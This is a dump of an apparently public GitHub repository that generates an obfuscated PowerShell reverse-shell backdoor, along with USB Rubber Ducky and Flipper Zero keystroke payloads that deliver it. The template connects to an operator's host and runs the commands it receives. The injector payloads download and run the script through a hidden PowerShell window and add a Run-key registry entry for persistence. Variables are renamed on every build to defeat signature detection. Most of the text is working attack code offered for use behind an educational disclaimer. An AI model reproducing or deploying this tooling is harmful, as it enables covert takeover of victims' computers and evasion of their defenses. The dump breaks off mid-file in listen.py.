├── encoder.jar
├── core
├── images
│ └── preview.PNG
├── payloads
│ ├── templates
│ │ ├── basic-payload.txt
│ │ ├── advanced-payload.txt
│ │ └── template.ps1
│ ├── custom
│ │ ├── execute.py
│ │ └── bindandexecute.py
│ ├── payload.py
│ └── base.py
├── config.py
└── utils.py
├── .github
└── ISSUE_TEMPLATE
│ └── bug_report.md
├── README.md
├── LICENSE
└── listen.py
/encoder.jar:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Drew-Alleman/powershell-backdoor-generator/HEAD/encoder.jar
--------------------------------------------------------------------------------
/core/images/preview.PNG:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Drew-Alleman/powershell-backdoor-generator/HEAD/core/images/preview.PNG
--------------------------------------------------------------------------------
/core/payloads/templates/basic-payload.txt:
--------------------------------------------------------------------------------
1 | DELAY START_DELAY_TIME
2 | GUI r
3 | DELAY 100
4 | KEY1
5 | DELAY 300
6 | ENTER
--------------------------------------------------------------------------------
/core/payloads/custom/execute.py:
--------------------------------------------------------------------------------
1 | from core.payloads.base import USBPayload
2 | from core.config import Config
3 |
4 |
5 | class Execute(USBPayload):
6 | def __init__(self, config: Config):
7 | self.config = config
8 | self.source = "basic-payload.txt"
9 | self.lines: dict = {
10 | "KEY1": f"STRING powershell -w hidden IEX (New-Object Net.WebClient).DownloadString('http://{self.config.ip_address}:{self.config.server_port}/{self.config.out_file}')"
11 | }
12 |
--------------------------------------------------------------------------------
/core/payloads/templates/advanced-payload.txt:
--------------------------------------------------------------------------------
1 | DELAY 300
2 | GUI r
3 | DELAY 300
4 | STRING powershell start-process powershell -verb runas
5 | ENTER
6 | DELAY 2000
7 | ALT Y
8 | ENTER
9 | DELAY 2000
10 | STRING $WebClient = New-Object System.Net.WebClient
11 | DELAY 300
12 | ENTER
13 | DELAY 300
14 | KEY1
15 | DELAY 300
16 | ENTER
17 | DELAY 300
18 | STRING $path = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
19 | DELAY 300
20 | ENTER
21 | DELAY 300
22 | KEY2
23 | DELAY 300
24 | ENTER
25 | DELAY 300
26 | STRING Set ExecutionPolicy Bypass
27 | DELAY 300
28 | ENTER
29 | DELAY 300
30 | STRING Y
31 | DELAY 300
32 | ENTER
33 | DELAY 300
34 | KEY3
35 | ENTER
36 | DELAY 300
37 | STRING exit
38 | ENTER
39 |
--------------------------------------------------------------------------------
/.github/ISSUE_TEMPLATE/bug_report.md:
--------------------------------------------------------------------------------
1 | # Bug Report
2 | **Describe the bug**
3 | A clear and concise description of what the bug is.
4 |
5 | **To Reproduce**
6 | Steps to reproduce the behavior:
7 | 1. What arguments are you using for listen.py?
8 | 2. How are you executing the backdoor?
9 | 3. Are you having issues with a specific command within the backdoor? (e.g get_public_ip, get_os)
10 |
11 | **Expected behavior**
12 | A clear and concise description of what you expected to happen.
13 |
14 | **Screenshots**
15 | If applicable, add screenshots to help explain your problem.
16 |
17 | **Desktop (please complete the following information):**
18 | - What OS are you using the execute listen.py?
19 | - What OS are you using the execute backdoor.ps1?
20 | - Are you on the latest version of powershell-backdoor-generator?
21 | - What version of python are you on?
22 |
--------------------------------------------------------------------------------
/core/payloads/custom/bindandexecute.py:
--------------------------------------------------------------------------------
1 | from core.payloads.base import USBPayload
2 | from core.utils import generate_string
3 | from core.config import Config
4 |
5 |
6 | class BindAndExecute(USBPayload):
7 | def __init__(self, config: Config):
8 | self.config = config
9 | self.source = "advanced-payload.txt"
10 | self.lines: dict = {
11 | "KEY1": f'STRING $WebClient.DownloadFile("http://{self.config.ip_address}:{self.config.server_port}/{self.config.out_file}", "$Env:TEMP\\\\{self.config.out_file}")',
12 | "KEY2": f'STRING New-ItemProperty -Path $path -Name "{generate_string(12)}" -Value "powershell.exe -WindowStyle hidden -file $Env:TEMP\\\\{self.config.out_file}" -PropertyType "String"',
13 | "KEY3": f'STRING cmd /c start /min "" powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File $Env:TEMP\\{self.config.out_file}',
14 | }
15 |
--------------------------------------------------------------------------------
/core/payloads/payload.py:
--------------------------------------------------------------------------------
1 | """
2 | This is imported by listen.py and is used to fetch the desired flipper/ducky payload
3 | """
4 |
5 | from core.payloads.custom.execute import Execute
6 | from core.payloads.custom.bindandexecute import BindAndExecute
7 |
8 |
9 | class InvalidPayloadName(Exception):
10 | def __init__(self, payload_name: str) -> None:
11 | self.message = f"{payload_name} is not a valid payload please use one of the following (case insensitive) \n{', '.join(PAYLOADS.keys())}"
12 | super().__init__(self.message)
13 |
14 |
15 | PAYLOADS = {
16 | "execute": Execute,
17 | "bindandexecute": BindAndExecute,
18 | }
19 |
20 |
21 | def fetch(name, config):
22 | """
23 | Creates an instance of the payload they selected
24 | """
25 | payload = PAYLOADS.get(name.lower())
26 | if not payload:
27 | raise InvalidPayloadName(name)
28 | return payload(config)
29 |
--------------------------------------------------------------------------------
/core/config.py:
--------------------------------------------------------------------------------
1 | from core.utils import generate_string
2 |
3 |
4 | class Config:
5 | def __init__(self, CWD, **kwargs):
6 | self.CWD = CWD
7 | self.ip_address: str = kwargs.get("ip_address")
8 | self.payload: str = kwargs.get("payload")
9 | self.port: int = kwargs.get("port")
10 | self.ip_tuple: tuple = (self.ip_address, self.port)
11 | self.verbose: bool = kwargs.get("verbose")
12 | self.out_file: str = kwargs.get("out")
13 | self.ip_address: str = kwargs.get("ip_address")
14 | self.delay: int = kwargs.get("delay")
15 | self.server_port: int = kwargs.get("server_port")
16 | self.server_ip_tuple: tuple = (self.ip_address, self.server_port)
17 | self.type: bool = kwargs.get("type")
18 | self.keyboard_layout: str = kwargs.get("keyboard")
19 | self.flipper: str = kwargs.get("flipper")
20 | self.ducky: str = kwargs.get("ducky")
21 | self.advanced: bool = kwargs.get("advanced")
22 | self.list_payloads = kwargs.get("list_payloads")
23 | if kwargs.get("random"):
24 | self.out_file: str = f"{generate_string(8)}.ps1"
25 | self.TEMPLATE_DIR = self.CWD + r"core/payloads/templates/"
26 | self.BACKDOOR_TEMPLATE = self.TEMPLATE_DIR + "template.ps1"
27 | self.BASIC_PAYLOAD = self.TEMPLATE_DIR + "basic-payload.txt"
28 | self.ADVANCED_PAYLOAD = self.TEMPLATE_DIR + "advanced-payload.txt"
29 | self.verbose = kwargs.get("verbose")
30 | self.just_listen = kwargs.get("actually_listen")
31 | self.force = kwargs.get("force")
32 | self.just_listen_and_host = kwargs.get("listen_and_host")
33 |
--------------------------------------------------------------------------------
/core/payloads/base.py:
--------------------------------------------------------------------------------
1 | import os
2 | from core.utils import get_file_content, make_unix_here, get_output
3 |
4 |
5 | class MissingJava(Exception):
6 | def __init__(self):
7 | self.message = "Java is needed to run encoder.jar please install it here: https://www.java.com/download/ie_manual.jsp \n\nPlease restart terminal after installation"
8 | super().__init__(self.message)
9 |
10 |
11 | class USBPayload:
12 | """
13 | Ducky/Flipper Payload
14 | """
15 |
16 | def __remove_and_close_temp(self) -> None:
17 | """Removes and closes the temporary file payload.txt"""
18 | self.temp.close()
19 | self.__remove_temp_file()
20 |
21 | def __remove_temp_file(self) -> None:
22 | """Removes the temporary payload.txt file"""
23 | try:
24 | os.unlink(self.path)
25 | except FileNotFoundError:
26 | pass
27 | self.temp = False
28 |
29 | def __build(self) -> bool:
30 | """Builds a payload text file
31 | :return: True if the file was created
32 | """
33 | self.path = f"{self.config.CWD}\\payload.txt"
34 | self.source_content = get_file_content(self.config.TEMPLATE_DIR + self.source)
35 | self.__remove_temp_file()
36 | self.temp = open(self.path, "ab+")
37 | if "START_DELAY_TIME" in self.source_content:
38 | self.source_content = self.source_content.replace(
39 | "START_DELAY_TIME", str(self.config.delay)
40 | )
41 | for key, line in self.lines.items():
42 | self.source_content = self.source_content.replace(key, line)
43 | self.temp.seek(0)
44 | return bool(self.temp.write(self.source_content.encode()))
45 |
46 | def __encode_payload(self):
47 | """Encodes the payload.txt into inject.bin
48 | 1. Requires java
49 | 2. Requires encode.jar
50 | :return: True if the file was made
51 | """
52 | try:
53 | self.temp.close()
54 | out = get_output(
55 | [
56 | "java",
57 | "-jar",
58 | f"encoder.jar",
59 | "-i",
60 | f"{self.path}",
61 | "-l",
62 | self.config.keyboard_layout,
63 | ]
64 | )
65 | return b"DuckyScript Complete" in out
66 | except FileNotFoundError:
67 | raise MissingJava
68 |
69 | def execute(self) -> bool:
70 | self.__build()
71 | if self.config.ducky:
72 | self.__encode_payload()
73 | if self.config.flipper:
74 | self.temp.seek(0)
75 | make_unix_here(
76 | self.temp.read(), self.config.CWD + f"\\{self.config.flipper}.txt"
77 | )
78 | self.__remove_and_close_temp()
79 | return True
80 |
81 | def stop(self):
82 | if self.temp:
83 | self.__remove_and_close_temp()
84 |
--------------------------------------------------------------------------------
/core/payloads/templates/template.ps1:
--------------------------------------------------------------------------------
1 | class BackdoorManager {
2 |
3 | [string]$UserDefinedIPAddress = "0.0.0.0"
4 | [int]$UserDefinedPort = 4444
5 |
6 | $activeStream
7 | $activeClient
8 | $sessionWriter
9 | $textBuffer
10 | $sessionReader
11 | $textEncoding
12 | [int]$readCount = 50*1024
13 |
14 | waitForConnection() {
15 | $this.activeClient = $false
16 | while ($true) {
17 | try {
18 | $this.activeClient = New-Object Net.Sockets.TcpClient($this.UserDefinedIPAddress, $this.UserDefinedPort)
19 | break
20 | } catch [System.Net.Sockets.SocketException] {
21 | Start-Sleep -Seconds 5
22 | }
23 | }
24 | $this.createTextStream()
25 | }
26 |
27 | createTextStream() {
28 | $this.activeStream = $this.activeClient.GetStream()
29 | $this.textBuffer = New-Object Byte[] $this.readCount
30 | $this.textEncoding = New-Object Text.UTF8Encoding
31 | $this.sessionWriter = New-Object IO.StreamWriter($this.activeStream, [Text.Encoding]::UTF8, $this.readCount)
32 | $this.sessionReader = New-Object System.IO.StreamReader($this.activeStream)
33 | $this.sessionWriter.AutoFlush = $true
34 | }
35 |
36 | createBackdoorConnection() {
37 | $this.waitForConnection()
38 | $this.handleActiveClient()
39 | }
40 |
41 | writeToStream($content) {
42 | try {
43 | [byte[]]$bytes = [text.Encoding]::Ascii.GetBytes($content)
44 | $this.sessionWriter.Write($bytes, 0, $bytes.length)
45 | } catch [System.Management.Automation.MethodInvocationException] {
46 | $this.createBackdoorConnection()
47 | }
48 | }
49 |
50 | [string] readFromStream() {
51 | try {
52 | $rawResponse = $this.activeStream.Read($this.textBuffer, 0, $this.readCount)
53 | $response = ($this.textEncoding.GetString($this.textBuffer, 0, $rawResponse))
54 | return $response
55 | } catch [System.Management.Automation.MethodInvocationException] {
56 | $this.createBackdoorConnection()
57 | return ""
58 | }
59 | }
60 |
61 | [string] getCommand($command) {
62 | Write-Host $command
63 | try {
64 | $output = Invoke-Expression $command | Out-String
65 | }
66 | catch {
67 | $powershellException = $_.Exception
68 | $msg = $_.Message
69 | $output = "`n$_`n"
70 | }
71 | return $output
72 | }
73 |
74 | [string] createPrompt() {
75 | $currentUser = [Environment]::UserName
76 | $computerName = [System.Net.Dns]::GetHostName()
77 | $pwd = Get-Location
78 | return "$currentUser@$computerName [$pwd]~$ "
79 | }
80 |
81 | handleActiveClient() {
82 | while ($this.activeClient.Connected) {
83 | $this.writeToStream($this.createPrompt())
84 | $response = $this.readFromStream()
85 | $output = "`n"
86 | if ([string]::IsNullOrEmpty($response)) {
87 | continue
88 | }
89 | $output = $this.getCommand($response)
90 | $this.writeToStream($output + "`n")
91 | $this.activeStream.Flush()
92 | }
93 | $this.activeClient.Close()
94 | $this.createBackdoorConnection()
95 | }
96 | }
97 |
98 | $nothingtolookatreally = [BackdoorManager]::new()
99 | $nothingtolookatreally.createBackdoorConnection()
100 |
--------------------------------------------------------------------------------
/core/utils.py:
--------------------------------------------------------------------------------
1 | import re
2 | import time
3 | import socket
4 | import random
5 | import string
6 | import hashlib
7 | import subprocess
8 | import socketserver
9 | from threading import Thread
10 | from http.server import SimpleHTTPRequestHandler
11 |
12 | BLOCKSIZE = 65536
13 | WINDOWS_LINE_ENDING = b'\r\n'
14 | UNIX_LINE_ENDING = b'\n'
15 |
16 | LOGO = """
17 | /|
18 | / |ejm
19 | /__|______
20 | | __ __ |
21 | | | || | |
22 | | |__||__| |== sh!
23 | | __ __()|/ ...I'm not really here.
24 | | | || | |
25 | | | || | | [*] Use print_help to show all commands
26 | | |__||__| | [*] https://github.com/Drew-Alleman/powershell-backdoor-generator
27 | |__________|
28 |
29 | """
30 |
31 | def make_unix_here(content, new_path):
32 | """ Makes file content unix EOL
33 | """
34 | content.replace(WINDOWS_LINE_ENDING, UNIX_LINE_ENDING)
35 | with open(new_path, 'wb') as f:
36 | f.write(content)
37 | return True
38 |
39 |
40 | format_string = lambda string: string.decode().strip("\n") if type(string) == bytes else string.strip()
41 |
42 | generate_string = lambda string_size: ''.join(random.choice(string.ascii_letters) for i in range(string_size))
43 |
44 | def save_content_to_file(content: str, filename: str) -> bool:
45 | """ Saves content to a local file
46 | :param content: Bytes to save to file
47 | :param filename: Filename to save data to
48 | """
49 | if "Cannot find path '" in format_string(content):
50 | return False
51 | with open(filename, "w") as f:
52 | f.seek(0)
53 | f.write(content)
54 | return True
55 |
56 |
57 | def get_output(command: list) -> str:
58 | """Returns the stdout of a cmd command.
59 |
60 | :param command: Command to run.
61 | :return: stdout.
62 | """
63 | proc = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
64 | proc.wait()
65 | time.sleep(2.5)
66 | stdout, stderr = proc.communicate()
67 | if not stderr:
68 | print("[*] Encoded payload.txt -> inject.bin")
69 | else:
70 | print(f"[*] Ran into an error: {stderr} when encoding 'payload.txt' ")
71 | return stdout
72 |
73 | def obfuscate(original: str, old: str, size: int = None) -> str:
74 | """ Obfuscate's a specific variable from text to a random string
75 | :param original: Original text to modify
76 | :param old: Old text to replace
77 | :return: Modified string
78 | """
79 | size = random.randint(5, 24)
80 | new = generate_string(size)
81 | return re.sub(old, new, original)
82 |
83 | def get_sha1_file_hash(filename: str) -> str:
84 | """ Creates a hash based on the file content
85 | :param filename: Filename to read
86 | :return: A sha1 hash
87 | """
88 | hasher = hashlib.sha1()
89 | with open(filename, 'rb') as f:
90 | buf = f.read(BLOCKSIZE)
91 | while len(buf) > 0:
92 | hasher.update(buf)
93 | buf = f.read(BLOCKSIZE)
94 | return hasher.hexdigest()
95 |
96 | def get_file_content(filename: str) -> str:
97 | """ Gets a files content
98 | :param filename: Filename to read
99 | :return: File content as a string
100 | """
101 | with open(filename, "r") as f:
102 | content: str = f.read()
103 | return content
104 |
105 | def get_ip_address():
106 | """ Fetches the users active local IP Address
107 | :return: IP Address as a string
108 | """
109 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
110 | sock.connect(("8.8.8.8", 80))
111 | ipaddress = sock.getsockname()[0]
112 | sock.close()
113 | return ipaddress
114 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ```
2 | /******************************************************************************
3 | * DISCLAIMER:
4 | *
5 | * This program is intended for educational purposes only. By using this program,
6 | * you agree that you understand the potential risks associated with its use.
7 | *
8 | * - This program should not be used on any system or network without proper
9 | * authorization. Unauthorized use is strictly prohibited.
10 | *
11 | * - The creator of this program assumes no liability for any damages, legal
12 | * consequences, or loss of data caused by the use of this program.
13 | *
14 | * - It is your responsibility to ensure that you comply with all applicable
15 | * laws and regulations while using this program.
16 | *
17 | * Please use this program responsibly and ethically, and respect the privacy
18 | * and security of others.
19 | *****************************************************************************/
20 |
21 |
22 | ```
23 |
24 | # powershell-backdoor
25 | [](https://www.youtube.com/watch?v=C6_6-7b6P3E)
26 |
27 | Reverse backdoor tool written in PowerShell and obfuscated with Python, providing a new signature after every build to avoid detection. The tool has the capability to create payloads for popular hacking devices such as Flipper Zero and Hak5 USB Rubber Ducky. Use this tool to test your system's defenses against advanced attack techniques.
28 | ```
29 | usage: listen.py [-h] [--ip-address IP_ADDRESS] [--port PORT] [--random] [--out OUT] [--verbose] [--delay DELAY] [--flipper FLIPPER] [--ducky]
30 | [--server-port SERVER_PORT] [--payload PAYLOAD] [--list--payloads] [-k KEYBOARD] [-L] [-H]
31 |
32 | Powershell Backdoor Generator
33 |
34 | options:
35 | -h, --help show this help message and exit
36 | --ip-address IP_ADDRESS, -i IP_ADDRESS
37 | IP Address to bind the backdoor too (default: 192.168.X.XX)
38 | --port PORT, -p PORT Port for the backdoor to connect over (default: 4444)
39 | --random, -r Randomizes the outputed backdoor's file name
40 | --out OUT, -o OUT Specify the backdoor filename (relative file names)
41 | --verbose, -v Show verbose output
42 | --delay DELAY Delay in milliseconds before Flipper Zero/Ducky-Script payload execution (default:100)
43 | --flipper FLIPPER Payload file for flipper zero (includes EOL conversion) (relative file name)
44 | --ducky Creates an inject.bin for the http server
45 | --server-port SERVER_PORT
46 | Port to run the HTTP server on (--server) (default: 8080)
47 | --payload PAYLOAD USB Rubber Ducky/Flipper Zero backdoor payload to execute
48 | --list--payloads List all available payloads
49 | -k KEYBOARD, --keyboard KEYBOARD
50 | Keyboard layout for Bad Usb/Flipper Zero (default: us)
51 | -A, --actually-listen
52 | Just listen for any backdoor connections
53 | -H, --listen-and-host
54 | Just listen for any backdoor connections and host the backdoor directory
55 | ```
56 | # Quick Links
57 | * [Preview](#preview)
58 | * [Features](#features)
59 | * [Standard Backdoor](#standard-backdoor)
60 | * [Flipper Zero Backdoor](#flipper-zero-backdoor)
61 | * [USB Rubber Ducky Backdoor](#usb-rubber-ducky-backdoor)
62 | * [Thanks](#thanks)
63 | * [To Do](#to-do)
64 | * [Output of 5 Obfuscations](#output-of-5-obfuscations)
65 |
66 | ## Preview
67 | 
68 |
69 |
70 | ## Features
71 | * Hak5 Rubber Ducky payload
72 | * Flipper Zero payload
73 | * Download Files from remote system
74 | * Play wav files from a URL
75 | * Fetch target computers public IP address
76 | * List local users
77 | * Find Intresting Files
78 | * Gather information about the target system's operating system
79 | * Retrieve BIOS information from the target syste
80 | * Check if an anti-virus software is installed and its current status
81 | * Get Active TCP Clients
82 | * Install Chocolatey, a popular package manager for Windows (https://chocolatey.org/)
83 | * Check if common pentesting software is installed on the target system.
84 |
85 | ## Standard backdoor
86 | ``` bash
87 | C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --verbose
88 | [*] Encoding backdoor script
89 | [*] Saved backdoor backdoor.ps1 sha1:32b9ca5c3cd088323da7aed161a788709d171b71
90 | [*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
91 | ```
92 | A file in the current working directory will be created called backdoor.ps1
93 |
94 | ### Backdoor Execution
95 | Tested on Windows 11, Windows 10 and Kali Linux. To run this as a hidden window and with persistence access follow the guide 
96 | ```cmd
97 | powershell.exe -File backdoor.ps1 -ExecutionPolicy Unrestricted
98 | ```
99 | ```cmd
100 | ┌──(drew㉿kali)-[/home/drew/Documents]
101 | └─PS> ./backdoor.ps1
102 | ```
103 |
104 | # Bad USB/ USB Rubber Ducky attacks
105 | When using any of these attacks you will be opening up a HTTP server hosting the backdoor. Once the backdoor is retrieved the HTTP server will be shutdown.
106 |
107 | ## Payloads
108 | * Execute -- Execute the backdoor
109 | * BindAndExecute -- Place the backdoor in the users temp directory, bind the backdoor to startup and then execute it. (Requires Admin)
110 | ## Flipper Zero Backdoor
111 | Below will generate a file called powershell_backdoor.txt, which when triggered on the Flipper will fetch the backdoor from your computer over HTTP and execute it.
112 | ```
113 | C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --flipper powershell_backdoor --payload execute
114 | [*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
115 | [*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
116 | ```
117 | Place the text file you specified (e.g: powershell_backdoor.txt) into your flipper zero. When the payload is executed
118 | it will download and execute backdoor.ps1
119 |
120 | ## Usb Rubber Ducky Backdoor
121 | Below is a tutorial on how to generate an inject.bin file for the Hak5 USB Rubber ducky
122 | ```
123 | C:\Users\DrewQ\Desktop\powershell-backdoor-main> python .\listen.py --ducky --payload BindAndExecute
124 | [*] Started HTTP server hosting file: http://192.168.0.223:8989/backdoor.ps1
125 | [*] Starting Backdoor Listener 192.168.0.223:4444 use CTRL+BREAK to stop
126 | ```
127 | A file named inject.bin will be placed in your current working directory. Java is required for this feature. When the payload is executed
128 | it will download and execute backdoor.ps1
129 |
130 | ## Thanks
131 | To encode payload.txt into inject.bin for USB Rubber Ducky Attacks I use encoder.jar created by .
132 |
133 | ## To Do
134 | * Pull Recent RDP connections
135 | * Change Wallpaper from URL
136 | * Find Writeable Directories
137 | * Clear Logs
138 | * Disable Defender
139 |
140 | ## Output of 5 Obfuscations
141 | Below is the sha1 hash of backdoor.ps1 after 5 builds.
142 | ```
143 | 1e158f02484e5c58d74c1507a1773392ffacfca2
144 | 6d18230a419195d0f77519abc0238768956cdd58
145 | 558a8cbac40239c9e6660a45cc8fc5d02b5057d7
146 | caf4d0c8424eceb960d5f5c526e83ecd485c4ac9
147 | 947b57824917842d79f9cbcac8a795aa7c2f8a49
148 | ```
149 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "[]"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright [yyyy] [name of copyright owner]
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
202 |
--------------------------------------------------------------------------------
/listen.py:
--------------------------------------------------------------------------------
1 | import os
2 | import time
3 | import socket
4 | import argparse
5 | from core.utils import *
6 | from core.config import Config
7 | from core.payloads.payload import fetch
8 |
9 | BLOCKSIZE = 65536
10 | READ_AMOUNT = 50*1024
11 |
12 | CWD = os.getcwd() + "//"
13 |
14 | # This is used for generating a new name for each
15 | # variable and function in the powershell script.
16 | # The script is then base64 encoded ensuring a unique hash
17 | POWERSHELL_SCRIPT_OBJECTS: list = [
18 | "UserDefinedIPAddress",
19 | "UserDefinedPort",
20 | "activeClient",
21 | "activeStream",
22 | "textBuffer",
23 | "textEncoding",
24 | "sessionWriter",
25 | "sessionReader",
